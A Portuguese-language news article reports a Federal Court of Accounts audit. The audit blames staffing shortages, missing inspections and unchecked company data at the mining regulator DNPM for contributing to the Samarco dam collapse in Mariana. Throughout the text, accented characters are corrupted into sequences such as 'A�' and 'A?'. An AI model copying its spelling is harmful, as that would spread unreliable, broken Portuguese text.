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TCU aponta que falhas do DNPM contribuA�ram a tragA�dia em MG

O resultado de uma auditoria realizada pelo Tribunal de Contas da UniA?o (TCU) – divulgado na noite de ontem (21) – aponta falhas e omissA�es do Departamento Nacional de ProduA�A?o Mineral (DNPM) na fiscalizaA�A?o de barragens no paA�s.

Segundo o relatA?rio, a falta de atuaA�A?o do A?rgA?o teria contribuA�do para a tragA�dia que ocorreu em novembro do ano passado no distrito de Bento Rodrigues, emA�Mariana (MG).

Na ocasiA?o, uma barragem da mineradora Samarco se rompeu, deixando 19 mortos, provocando poluiA�A?o da bacia do Rio Doce e devastando a vegetaA�A?o nativa. O episA?dio A� considerado a maior tragA�dia ambiental do paA�s.

Com 62 pA?ginas, o documento,A� relatado pelo ministro JosA� MA?cio Monteiro, do TCU, aponta que o DNPM nA?o conseguiu garantir que a Samarco seguisse os padrA�es exigidos pela Lei 12.334/2010, que ficou conhecida como PolA�tica Nacional de SeguranA�a de Barragens.

Na opiniA?o do TCU, a legislaA�A?o possui “os pressupostos necessA?rios para garantir a gestA?o da seguranA�a das barragens de rejeitos no paA�s”, mas o DNPM “nA?o vem desempenhando a contento seu papel de A?rgA?o fiscalizador”.

O relatA?rio aponta que as falhas foram consequA?ncia de falta de planejamento, de pessoal e de recursos financeiros. As despesas discricionA?rias, que incluem os gastos com as atividades de fiscalizaA�A?o, estariam em declA�nio progressivo desde 2010 e o atual quadro de funcionA?rios do DNPM representaria apenas 62% do ideal.

Reduzido nA?mero de servidores

Das 1.200 vagas criadas em 2004, 450 estA?o ocupadas e nA?o hA? concursos pA?blicos desde 2009. Dos 600 cargos de especialistas em recursos da mineraA�A?o, hA? apenas 256 preenchidos.

A pior situaA�A?o seria justamente na superintendA?ncia de Minas Gerais, onde seriam necessA?rios 384 servidores e hA? apenas 79.

Entre os problemas de fiscalizaA�A?o descritos, estA? a falta de conferA?ncia dos dados das barragens fornecidos pelas mineradoras. As empresas sA?o obrigadas a cadastrar informaA�A�es no sistema do RelatA?rio Anual de Lavra (RAL).

Segundo a auditoria, o DNPM nA?o teria tecnologia e meios suficientes para verificar sistematicamente a veracidade do que foi informado. “Na prA?tica, essa verificaA�A?o dA?-se tA?o somente durante as vistorias in loco, quando os tA�cnicos do DNPM, por meio de inspeA�A?o visual, confrontam os dados constantes do sistema com a realidade de cada barragem”, registra o relatA?rio.

A falta de um planejamento de vistorias tambA�m foi considerado grave. Apenas 41% das barragens de mineraA�A?o foram vistoriadas nos A?ltimos quatro anos em A?mbito nacional. Em Minas Gerais, entre 2012 e 2015, ocorreram visitas em 76 das 220 barragens cadastradas, sendo que 34 foram apA?s a tragA�dia em Bento Rodrigues.

O documento diz, ainda, que 67% das estruturas que eram consideradas de alto risco em solo mineiro nA?o receberam tA�cnicos nesse perA�odo. A prA?pria barragem que se rompeu no distrito de Mariana teve sua A?ltima vistoria em 2012.

“HA? real risco de empreendimentos permanecerem longos perA�odos sem serem fiscalizados”, aponta o TCU. AlA�m disso, segundo a auditoria, as vistorias nA?o possuem padronizaA�A?o mA�nima.

Dessa forma, o DNPM nA?o teria controle se as informaA�A�es contidas no RAL estA?o atualizadas e corretas. O TCU apurou tambA�m que o A?rgA?o nA?o analisa rotineiramente os documentos recebidos das mineradoras.

“O controle documental feito pelo DNPM nA?o A� realizado de forma sistemA?tica e rotineira, constitui-se fundamentalmente de checklist e nA?o analisa informaA�A�es relevantes constantes de documentos exigidos”, registra a auditoria. NA?o haveria sequer um controle rA�gido sobre o cumprimento dos prazos para entrega dos documentos.

Essa situaA�A?o estaria fragilizando ainda a classificaA�A?o de risco das barragens, jA? que o A?rgA?o se vale apenas de declaraA�A�es das prA?prias mineradoras. Exatamente por isso, a auditoria aponta que o DNPM nA?o tinha conhecimento da situaA�A?o real da barragem que se rompeu em Bento Rodrigues.

ResponsabilizaA�A?o

O relatA?rio sugere que nA?o se individualize responsabilidades, uma vez que “a negligA?ncia no trato com os deveres previstos estA? entranhada na instituiA�A?o”. No documento, diversas recomendaA�A�es sA?o feitas ao DNPM para contornar os problemas.

O A?rgA?o deverA? dar ciA?ncia ao TCU sobre as providA?ncias adotadas em 180 dias. Procurado, o DNPM disse que sA? vai se manifestar quando receber o documento.

Para o TCU, hA? risco de novos acidentes envolvendo barragens de rejeitos de mineraA�A?o caso a fiscalizaA�A?o nA?o seja aprimorada. No entanto, a auditoria reconhece alguns avanA�os no marco regulatA?rio apA?s o acidente em Mariana.

Uma nova portaria do DNPM determinou que a ausA?ncia de declaraA�A�es sobre a estabilidade da barragem e dos protocolos de entrega do plano de aA�A?o de emergA?ncia deve levar A� interdiA�A?o da estrutura. Como resultado, nos quatro primeiros meses de 2016, foram emitidos 36 autos de interdiA�A?o apenas em Minas Gerais.

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Publicação: Redação Brasil (m)

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